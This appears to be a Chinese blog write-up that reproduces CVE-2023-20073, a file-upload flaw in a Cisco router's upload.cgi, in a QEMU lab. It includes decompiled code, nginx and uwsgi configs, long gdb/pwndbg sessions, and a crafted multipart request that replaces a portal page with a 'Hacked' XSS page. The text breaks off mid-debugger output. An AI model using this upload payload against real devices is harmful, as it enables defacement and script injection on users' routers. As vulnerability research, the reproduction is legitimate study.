1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 int sub_125A8(){ char *v0; // r4 int v1; // r0 const char *v2; // r0 FILE *v3; // r4 const char *v4; // r4 char *v5; // r5 char *v6; // r0 bool v7; // zf char *v8; // r4 const char *v9; // r0 const char *v10; // r0 int v12; // [sp+Ch] [bp-91Ch] BYREF int v13; // [sp+10h] [bp-918h] BYREF int v14; // [sp+14h] [bp-914h] BYREF char s[256 ]; // [sp+18h] [bp-9 10h] BYREF char command[2064 ]; // [sp+118h] [bp-8 10h] BYREF memset(s, 0 , sizeof(s)); v0 = getenv("HTTP_AUTHORIZATION" ); v12 = 0 ; v13 = StrBufCreate(v0); if ( !v0 || strlen(v0) > 0xDD || match_regex("^(\"|')?Basic [A-Za-z0-9\\+=]*(\"|')?$" ) ) { puts("Content-type: text/html\n" ); return printf("Error Input" ); } else { v1 = sub_124EC(); v12 = v1; if ( v1 ) { v2 = (const char *)StrBufToStr(v1); sprintf( command, "curl -k -X POST %s -H 'Authorization: %s' -H 'Content-Type: %s' -d@%s 2>/dev/null" , v2, v0, "application/vnd.yang.data+xml" , "/tmp/upload.input" ); StrBufFree(&v12); } debug("%s" , command); v3 = popen(command, "r" ); if ( v3 ) { while ( fgets(s, 256 , v3) ) StrBufAppendStr(v13, s); pclose(v3); } v4 = (const char *)StrBufToStr(v13); v5 = strstr(v4, "<h1>" ); v6 = strstr(v4, "</h1>" ); v7 = v6 == 0 ; if ( v6 ) v7 = v5 == 0 ; v8 = v6; if ( !v7 ) { v14 = StrBufCreate(v6); StrBufAppendStrN(v14, v5 + 4 , v8 - (v5 + 4 )); v9 = (const char *)StrBufToStr(v14); printf("Status: %s\r\n" , v9); StrBufFree(&v14); } printf("Content-type: %s\n\n" , "application/vnd.yang.data+xml" ); v10 = (const char *)StrBufToStr(v13); printf("%s" , v10); return StrBufFree(&v13); } }
web.upload.conf这个有对cookie进行检测,有效地防止目录穿越
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 location /form-file-upload { include uwsgi_params; proxy_buffering off; uwsgi_modifier1 9 ; uwsgi_pass 127.0 .0 .1 :9003 ; uwsgi_read_timeout 3600 ; uwsgi_send_timeout 3600 ; } location /upload { set $deny 0 ; if (-f /tmp/websession/token/$cookie_sessionid) { set $deny "${deny}1" ; } if ($cookie_sessionid ~* "^[a-f0-9]{64}" ) { set $deny "${deny}2" ; } if ($deny != "012" ) { return 403 ; } upload_pass /form-file-upload; upload_store /tmp/upload; upload_store_access user:rw group:rw all :rw; upload_set_form_field $upload_field_name.name "$upload_file_name" ; upload_set_form_field $upload_field_name.content_type "$upload_content_type" ; upload_set_form_field $upload_field_name.path "$upload_tmp_path" ; upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5" ; upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size" ; upload_pass_form_field "^.*$" ; upload_cleanup 400 404 499 500 -505 ; upload_resumable on; }
uwsgi1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 export UWSGI_PLUGIN_DIR=/usr/lib/uwsgi/plugins start() { uwsgi -m --ini /etc/uwsgi/jsonrpc.ini & uwsgi -m --ini /etc/uwsgi/blockpage.ini & uwsgi -m --ini /etc/uwsgi/upload.ini & } stop() { killall -9 uwsgi }
upload.ini这个会调用upload.cgi
1 2 3 4 5 6 7 8 9 10 11 12 13 [uwsgi] plugins = cgi workers = 1 master = 1 uid = www-data gid = www-data socket=127.0 .0 .1 :9003 buffer-size=4096 cgi = /www/cgi-bin /upload.cgi cgi-allowed-ext = .cgi cgi-allowed-ext = .pl cgi-timeout = 300 ignore-sigpipe = true
gdb连接 将gdbserver传到qemu中,chroot启动
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 BusyBox v1.23 .2 (2022 -10 -17 13 :31 :51 IST) built-in shell (ash) / bin media root usrdefault_uci_config mnt sbin var dev overlay sys www etc proc test_scripts lib rom tmp / -rwx--x--x 1 root root 1242967 Mar 26 13 :04 /tmp/gdbserver-7.7 .1 -armhf-eabi5-v1-sysv / /www/cgi-bin /upload.cgi / /www/cgi-bin i Process ./upload.cgi created; pid = 5389 Listening on port 1234
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 [21 :10 :15 ] ~/桌面/CVE-2023 -20073 $ gdb-multiarch GNU gdb (Ubuntu 8.1 .1 -0ubuntu1) 8.1 .1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu" . Type "show configuration" for configuration details.For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help , type "help" . Type "apropos word" to search for commands related to "word" .pwndbg: loaded 139 pwndbg commands and 48 shell commands. Type pwndbg [--shell | --all ] [filter ] for a list . pwndbg: created $rebase, $ida GDB functions (can be used with print /break ) ------- tip of the day (disable with set show-tips off) ------- Use the vmmap instruction for a better & colored memory maps display (than the GDB's info proc mappings) pwndbg> set architecture arm The target architecture is assumed to be arm pwndbg> target remote 192.168.30.100:1234 Remote debugging using 192.168.30.100:1234 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x76fd2d40 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────── R0 0x0 R1 0x0 R2 0x0 R3 0x0 R4 0x0 R5 0x0 R6 0x0 R7 0x0 R8 0x0 R9 0x0 R10 0x0 R11 0x0 R12 0x0 SP 0x7efffe10 ◂— 0x1 PC 0x76fd2d40 ◂— ldr sl, [pc, #0x94] ───────────────────────[ DISASM / arm / set emulate on ]──────────────────────── ► 0x76fd2d40 ldr sl, [pc, #0x94] 0x76fd2d44 ldr r4, [pc, #0x94] 0x76fd2d48 mov r0, sp 0x76fd2d4c bl #0x76fd68a4 <0x76fd68a4> 0x76fd2d50 add r6, pc, #0x84 0x76fd2d54 add sl, sl, r6 0x76fd2d58 ldr r4, [sl, r4] 0x76fd2d5c mov r6, r0 0x76fd2d60 ldr r1, [sp] 0x76fd2d64 add r2, sp, #4 0x76fd2d68 cmp r4, #0 ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ sp 0x7efffe10 ◂— 0x1 01:0004│ 0x7efffe14 —▸ 0x7efffefd ◂— ' ./upload.cgi' 02:0008│ 0x7efffe18 ◂— 0x0 03:000c│ 0x7efffe1c —▸ 0x7effff0a ◂— ' MAIL=/var/mail/root' 04:0010│ 0x7efffe20 —▸ 0x7effff1e ◂— ' USER=root' 05:0014│ 0x7efffe24 —▸ 0x7effff28 ◂— ' SHLVL=2 ' 06:0018│ 0x7efffe28 —▸ 0x7effff30 ◂— ' OLDPWD=/' 07:001c│ 0x7efffe2c —▸ 0x7effff39 ◂— ' HOME=/root' ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x76fd2d40 ──────────────────────────────────────────────────────────────────────────────── pwndbg>
我不知道为什么按照参考的来,但是我的子进程fork不了,可能是因为我使用curl的问题,但是按照上述步骤然后再次运行c就可以跳到keypatch修改的死循环部分,然后就可以gdb调试了,但是我子进程fork不出来导致我改回原来的main内容但是fread读取的数据是空的,但是我的/www/upload文件夹有一个新的html,并且可以移动到目标文件夹,并且修改login.html的内容
后续 经过不懈努力,终于正常了,我觉得是因为curl不能完全替代hackbar
我们先将设置为死循环的upload.cgi上传至qemu端,然后重启服务/etc/init.d/nginx restart,接着通过hackbar发送报文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 -------------- Content-Disposition: form-data; name="pathparam" Portal -------------- Content-Disposition: form-data; name="fileparam" index.html -------------- Content-Disposition: form-data; name="file.path" /tmp/upload/0000000001 -------------- Content-Disposition: form-data; name="what" ; filename="index.html" ; Content-Type : text/html <!DOCTYPE html> <html> <head><title>Hacked</title></head> <body> <h1>Hacked by hfddh666!</h1> <script>alert('XSS' )</script> </body> </html> --------------
执行完后查看一下,发现有个upload.cgi进程,这里要记得将该文件权限提高(777)
然后就是启动gdbserver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 4999 www-data 7140 S uwsgi -m --ini /etc/uwsgi/upload.ini 5000 www-data 7232 S uwsgi -m --ini /etc/uwsgi/upload.ini 5001 www-data 7140 S uwsgi -m --ini /etc/uwsgi/blockpage.ini 5002 www-data 7472 S uwsgi -m --ini /etc/uwsgi/jsonrpc.ini 5003 www-data 7472 S uwsgi -m --ini /etc/uwsgi/jsonrpc.ini 5004 www-data 7472 S uwsgi -m --ini /etc/uwsgi/jsonrpc.ini 5005 www-data 7472 S uwsgi -m --ini /etc/uwsgi/jsonrpc.ini 6374 www-data 1860 R /www/cgi-bin /upload.cgi 6680 root 2984 S sleep 5 6681 root 3228 R ps aux / Attached; pid = 6374 Listening on port 9999
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 [16 :18 :45 ] ~/桌面/CVE-2023 -20073 $ sudo gdb-multiarch upload.cgi [sudo] yy 的密码: GNU gdb (Ubuntu 8.1 .1 -0ubuntu1) 8.1 .1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu" . Type "show configuration" for configuration details.For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help , type "help" . Type "apropos word" to search for commands related to "word" ...pwndbg: loaded 139 pwndbg commands and 43 shell commands. Type pwndbg [--shell | --all ] [filter ] for a list . pwndbg: created $rebase, $ida GDB functions (can be used with print /break ) Reading symbols from upload.cgi...(no debugging symbols found)...done. ------- tip of the day (disable with set show-tips off) ------- Disable Pwndbg context information display with set context-sections '' pwndbg> set endian little The target is assumed to be little endian pwndbg> set architecture arm The target architecture is assumed to be arm pwndbg> target remote 192.168 .30 .100 :9999 Remote debugging using 192.168 .30 .100 :9999 Reading /lib/ld-linux.so.3 from remote target... warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead. Reading /lib/ld-linux.so.3 from remote target... Reading symbols from target:/lib/ld-linux.so.3 ...(no debugging symbols found)...done. 0x00010e0c in ?? () from target:/lib/ld-linux.so.3 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────── R0 0x130bf R1 0x7ef2f774 R2 0x7ef2f77c R3 0x10e00 R4 0x129ec R5 0x0 R6 0x11298 R7 0x0 R8 0x0 R9 0x0 R10 0x76f83000 R11 0x0 R12 0x76ee4000 SP 0x7ef2f1a8 PC 0x10e0c ───────────────────────[ DISASM / arm / set emulate on ]──────────────────────── Invalid address 0x10e0c ───────────────────────────────────[ STACK ]──────────────────────────────────── <Could not read memory at 0x7ef2f1a8 > ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x10e0c ──────────────────────────────────────────────────────────────────────────────── pwndbg> set *0x10e0c =0xebffffaa pwndbg> n 0x00010cbc in getenv@plt ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────── R0 0x130bf ◂— strbpl r4, [lr], R1 0x7eb2a774 —▸ 0x7eb2a90f ◂— '/www/cgi-bin/upload.cgi' R2 0x7eb2a77c —▸ 0x7eb2a927 ◂— 'MAIL=/var/mail/root' R3 0x10e00 ◂— push {r4, r5, r6, r7, r8, lr} R4 0x129ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr} R5 0x0 R6 0x11298 ◂— mov fp, R7 0x0 R8 0x0 R9 0x0 R10 0x76f52000 ◂— 0x2cf44 R11 0x0 R12 0x76eb3000 ◂— 0x114f20 SP 0x7eb2a1a8 ◂— 0x0 *PC 0x10cbc (getenv@plt) ◂— add ip, pc, ───────────────────────[ DISASM / arm / set emulate on ]──────────────────────── ► 0x10cbc <getenv@plt> add ip, pc, 0x10cc0 <getenv@plt+4 > add ip, ip, 0x10cc4 <getenv@plt+8 > ldr pc, [ip, 0x10cc8 <puts@plt> add ip, pc, 0x10ccc <puts@plt+4 > add ip, ip, 0x10cd0 <puts@plt+8 > ldr pc, [ip, 0x10cd4 <malloc@plt> add ip, pc, 0x10cd8 <malloc@plt+4 > add ip, ip, 0x10cdc <malloc@plt+8 > ldr pc, [ip, 0x10ce0 <__libc_start_main@plt> add ip, pc, 0x10ce4 <__libc_start_main@plt+4 > add ip, ip, ───────────────────────────────────[ STACK ]──────────────────────────────────── 00 :0000 │ sp 0x7eb2a1a8 ◂— 0x0 ... ↓ 7 skipped─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x10cbc getenv@plt ──────────────────────────────────────────────────────────────────────────────── pwndbg>
成功启动了,接着是把我们修改的内容改回来(这里解释了为什么要用sudo,不然改不了)
这里跳到fread函数看看,r5就是存储报文的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 pwndbg> b *0x10EBC Breakpoint 1 at 0x10ebc pwndbg> c Continuing. Breakpoint 1 , 0x00010ebc in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────── *R0 0x43a *R1 0x1 *R2 0x0 *R3 0x0 *R4 0x7eb2aae7 ◂— 'multipart/form-data; boundary=----geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab' *R5 0x15df0f8 ◂— 0x2d2d2d2d ('----' ) *R6 0x43a *R7 0x7eb2ab5b ◂— '/api/operations/ciscosb-file:form-file-upload' *R8 0x7eb2af2a ◂— 'session=abc' R9 0x0 R10 0x76f52000 ◂— 0x2cf44 R11 0x0 *R12 0x43a SP 0x7eb2a1a8 ◂— 0x0 *PC 0x10ebc ◂— mov r3, ───────────────────────[ DISASM / arm / set emulate on ]──────────────────────── ► 0x10ebc mov r3, 0x10ec0 cmp r4, r3 0x10ec4 strb r3, [r5, r0] 0x10ec8 beq 0x10ecc mov r0, r4 0x10ed0 ldr r1, [pc, 0x10ed4 bl 0x10ed8 cmp r0, 0x10edc beq 0x10ee0 ldr r1, [pc, 0x10ee4 ldr r0, [sp, ───────────────────────────────────[ STACK ]──────────────────────────────────── 00 :0000 │ sp 0x7eb2a1a8 ◂— 0x0 ... ↓ 7 skipped─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x10ebc f 1 0x76dff674 ──────────────────────────────────────────────────────────────────────────────── pwndbg> x/8s 0x15df0f8 0x15df0f8 : "------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"pathparam\"\r\n\r\nPortal\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-" ...0x15df1c0 : "data; name=\"fileparam\"\r\n\r\nlogin.html\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"file.path\"\r\n\r\n/tmp/upload/0000000001\r\n------geckoformboundary9ed5bf" ...0x15df288 : "38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"what.name\"\r\n\r\nlogin.html\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"what.content_" ...0x15df350 : "type\"\r\n\r\napplication/octet-stream\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"what.path\"\r\n\r\n/tmp/upload/0000000005\r\n------geckoformboundary9ed5bf381" ...0x15df418 : "30f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"what.md5\"\r\n\r\n570e02befc8fb35b2561f95c78059dc4\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; n" ...0x15df4e0 : "ame=\"what.size\"\r\n\r\n51\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab--\r\n" 0x15df533 : "" 0x15df534 : "\321\n\002" pwndbg>
然后看jsonutil_get_string@plt函数是怎么解析字段的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 pwndbg> b *0x10f74 Breakpoint 2 at 0x10f74 pwndbg> c Continuing. Breakpoint 2 , 0x00010f74 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────── *R0 0x15df5b0 ◂— 0x4 *R1 0x7eb2a1c0 ◂— 0x0 *R2 0x13109 ◂— stclvs p6, c6, [sb], *R3 0xffffffff *R4 0x23488 —▸ 0x15dfc88 ◂— '"what.size"' R5 0x15df0f8 ◂— 0x2d2d2d2d ('----' ) *R6 0x15df6e8 —▸ 0x76eb3554 —▸ 0x15dfd20 ◂— 0x22657a /* 'ze"' */ R7 0x7eb2ab5b ◂— '/api/operations/ciscosb-file:form-file-upload' R8 0x7eb2af2a ◂— 'session=abc' R9 0x0 R10 0x76f52000 ◂— 0x2cf44 R11 0x0 *R12 0x14c SP 0x7eb2a1a8 ◂— 0x0 *PC 0x10f74 ◂— bl ───────────────────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]─────────────────────────────────────────────────────────────────────── ► 0x10f74 bl r0: 0x15df5b0 ◂— 0x4 r1: 0x7eb2a1c0 ◂— 0x0 r2: 0x13109 ◂— stclvs p6, c6, [sb], r3: 0xffffffff 0x10f78 add r1, sp, 0x10f7c ldr r2, [pc, 0x10f80 mvn r3, 0x10f84 ldr r0, [r4, 0x10f88 bl 0x10f8c add r1, sp, 0x10f90 ldr r2, [pc, 0x10f94 mvn r3, 0x10f98 ldr r0, [r4, 0x10f9c bl ───────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────── 00 :0000 │ sp 0x7eb2a1a8 ◂— 0x0 ... ↓ 7 skipped─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────── ► f 0 0x10f74 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> b *0x10f78 Breakpoint 3 at 0x10f78 pwndbg> c Continuing. Breakpoint 3 , 0x00010f78 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────── *R0 0x0 *R1 0x13115 ◂— stclvs p6, c6, [sb], *R2 0x6 *R3 0x7eb2a1c0 —▸ 0x15df960 ◂— '/tmp/upload/0000000001' R4 0x23488 —▸ 0x15dfc88 ◂— '"what.size"' R5 0x15df0f8 ◂— 0x2d2d2d2d ('----' ) R6 0x15df6e8 —▸ 0x76eb3554 —▸ 0x15dfd20 ◂— 0x22657a /* 'ze"' */ R7 0x7eb2ab5b ◂— '/api/operations/ciscosb-file:form-file-upload' R8 0x7eb2af2a ◂— 'session=abc' R9 0x0 R10 0x76f52000 ◂— 0x2cf44 R11 0x0 *R12 0x76ed64dc (json_object_get_string) ◂— subs r3, r0, SP 0x7eb2a1a8 ◂— 0x0 *PC 0x10f78 ◂— add r1, sp, ───────────────────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]─────────────────────────────────────────────────────────────────────── 0x10f74 bl ► 0x10f78 add r1, sp, 0x10f7c ldr r2, [pc, 0x10f80 mvn r3, 0x10f84 ldr r0, [r4, 0x10f88 bl 0x10f8c add r1, sp, 0x10f90 ldr r2, [pc, 0x10f94 mvn r3, 0x10f98 ldr r0, [r4, 0x10f9c bl ───────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────── 00 :0000 │ sp 0x7eb2a1a8 ◂— 0x0 ... ↓ 5 skipped06:0018│ r3 0x7eb2a1c0 —▸ 0x15df960 ◂— '/tmp/upload/0000000001' 07:001c│ 0x7eb2a1c4 ◂— 0x0 ─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────── ► f 0 0x10f78 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
然后执行到正则匹配的部分,发现成功返回0,如果将/tmp/upload/0000000001改为login.html发现无法通过正则匹配,通过观察可以发现0~9都可以通过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 pwndbg> b *0x11044 Breakpoint 1 at 0x11044 pwndbg> c Continuing. Breakpoint 1 , 0x00011044 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────── *R0 0x1317d ◂— ldclvs p15, c2, [r4, *R1 0x1eaa960 ◂— '/tmp/upload/0000000001' *R2 0x7ee8917c ◂— 0x0 *R3 0x0 *R4 0x23488 —▸ 0x1eaac88 ◂— '"what.size"' *R5 0x1eaa0f8 ◂— 0x2d2d2d2d ('----' ) *R6 0x1eaa6e8 —▸ 0x76f10554 —▸ 0x1eaad20 ◂— 0x22657a /* 'ze"' */ *R7 0x7ee89b5b ◂— '/api/operations/ciscosb-file:form-file-upload' *R8 0x7ee89f2a ◂— 'session=abc' R9 0x0 R10 0x76faf000 ◂— 0x2cf44 R11 0x0 *R12 0x76f1052c —▸ 0x1eaacc0 ◂— 0x0 SP 0x7ee891a8 ◂— 0x0 *PC 0x11044 ◂— bl ───────────────────────[ DISASM / arm / set emulate on ]──────────────────────── ► 0x11044 bl r0: 0x1317d ◂— ldclvs p15, c2, [r4, r1: 0x1eaa960 ◂— '/tmp/upload/0000000001' r2: 0x7ee8917c ◂— 0x0 r3: 0x0 0x11048 cmp r0, 0x1104c beq 0x11050 ldr r0, [pc, 0x11054 bl 0x11058 ldr r0, [pc, 0x1105c bl 0x11060 b 0x11064 ldr r0, [sp, 0x11068 ldr r1, [sp, 0x1106c bl ───────────────────────────────────[ STACK ]──────────────────────────────────── 00 :0000 │ sp 0x7ee891a8 ◂— 0x0 ... ↓ 5 skipped06:0018│ 0x7ee891c0 —▸ 0x1eaa960 ◂— '/tmp/upload/0000000001' 07:001c│ 0x7ee891c4 —▸ 0x1eaa830 ◂— 'Portal' ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x11044 ──────────────────────────────────────────────────────────────────────────────── pwndbg> pwndbg> b *0x11048 Breakpoint 2 at 0x11048 pwndbg> c Continuing. Breakpoint 2 , 0x00011048 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────── *R0 0x0 *R1 0x0 *R2 0x0 *R3 0x1 R4 0x23488 —▸ 0x1eaac88 ◂— '"what.size"' R5 0x1eaa0f8 ◂— 0x2d2d2d2d ('----' ) R6 0x1eaa6e8 —▸ 0x1eac288 ◂— 0x0 R7 0x7ee89b5b ◂— '/api/operations/ciscosb-file:form-file-upload' R8 0x7ee89f2a ◂— 'session=abc' R9 0x0 R10 0x76faf000 ◂— 0x2cf44 R11 0x0 *R12 0x14c SP 0x7ee891a8 ◂— 0x0 *PC 0x11048 ◂— cmp r0, ───────────────────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]─────────────────────────────────────────────────────────────────────── 0x11044 bl ► 0x11048 cmp r0, 0x1104c beq 0x11050 ldr r0, [pc, 0x11054 bl 0x11058 ldr r0, [pc, 0x1105c bl 0x11060 b 0x11064 ldr r0, [sp, 0x11068 ldr r1, [sp, 0x1106c bl ───────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────── 00 :0000 │ sp 0x7ee891a8 ◂— 0x0 ... ↓ 5 skipped06:0018│ 0x7ee891c0 —▸ 0x1eaa960 ◂— '/tmp/upload/0000000001' 07:001c│ 0x7ee891c4 —▸ 0x1eaa830 ◂— 'Portal' ─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────── ► f 0 0x11048 f 1 0x76ea1f50 regfree+56 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
看system函数,mv -f /tmp/upload/0000000001 /tmp/www//index.html成功执行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 pwndbg> target remote 192.168 .30 .100 :9999 Remote debugging using 192.168 .30 .100 :9999 Reading /usr/lib/libmultipart.so from remote target... Reading /usr/lib/libmiscu.so from remote target... Reading /usr/lib/libjsonutil.so from remote target... Reading /usr/lib/libjson-c.so.2 from remote target... Reading /lib/libgcc_s.so.1 from remote target... Reading /lib/libc.so.6 from remote target... Reading /lib/ld-linux.so.3 from remote target... Reading symbols from target:/usr/lib/libmultipart.so...(no debugging symbols found)...done. Reading symbols from target:/usr/lib/libmiscu.so...(no debugging symbols found)...done. Reading symbols from target:/usr/lib/libjsonutil.so...(no debugging symbols found)...done. Reading symbols from target:/usr/lib/libjson-c.so.2 ...(no debugging symbols found)...done. Reading symbols from target:/lib/libgcc_s.so.1 ...(no debugging symbols found)...done. Reading symbols from target:/lib/libc.so.6 ...(no debugging symbols found)...done. Reading symbols from target:/lib/ld-linux.so.3 ...(no debugging symbols found)...done. Reading /lib/ld-linux.so.3 from remote target... 0x00010e0c in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────── R0 0x130bf ◂— strbpl r4, [lr], R1 0x7ef8e784 —▸ 0x7ef8e919 ◂— '/www/cgi-bin/upload.cgi' R2 0x7ef8e78c —▸ 0x7ef8e931 ◂— 'MAIL=/var/mail/root' R3 0x10e00 ◂— push {r4, r5, r6, r7, r8, lr} R4 0x129ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr} R5 0x0 R6 0x11298 ◂— mov fp, R7 0x0 R8 0x0 R9 0x0 R10 0x76f36000 ◂— 0x2cf44 R11 0x0 R12 0x76e97000 ◂— 0x114f20 SP 0x7ef8e1b8 ◂— 0x0 PC 0x10e0c ◂— b ───────────────────────[ DISASM / arm / set emulate on ]──────────────────────── ► 0x10e0c b ↓ 0x10e0c b ───────────────────────────────────[ STACK ]──────────────────────────────────── 00 :0000 │ sp 0x7ef8e1b8 ◂— 0x0 ... ↓ 7 skipped─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x10e0c f 1 0x76d988e4 __libc_start_main+404 f 2 0x76f15544 ──────────────────────────────────────────────────────────────────────────────── pwndbg> set *0x10e0c =0xebffffaa pwndbg> delete pwndbg> b *0x11748 Breakpoint 16 at 0x11748 pwndbg> c Continuing. Breakpoint 16 , 0x00011748 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────── *R0 0x31 *R1 0x0 *R2 0xffffffff *R3 0x7ef8e0ad ◂— 0x1000000 *R4 0x12b51 ◂— rsbvc r7, sp, pc, lsr *R5 0x176c0b8 ◂— 'index.html' *R6 0x176ca40 ◂— '/tmp/upload/0000000001' *R7 0x7ef8eb58 ◂— '/api/operations/ciscosb-file:form-file-upload' *R8 0x176c7a0 ◂— 'Portal' R9 0x0 R10 0x76f36000 ◂— 0x2cf44 R11 0x0 *R12 0x0 *SP 0x7ef8e070 —▸ 0x176c0b8 ◂— 'index.html' *PC 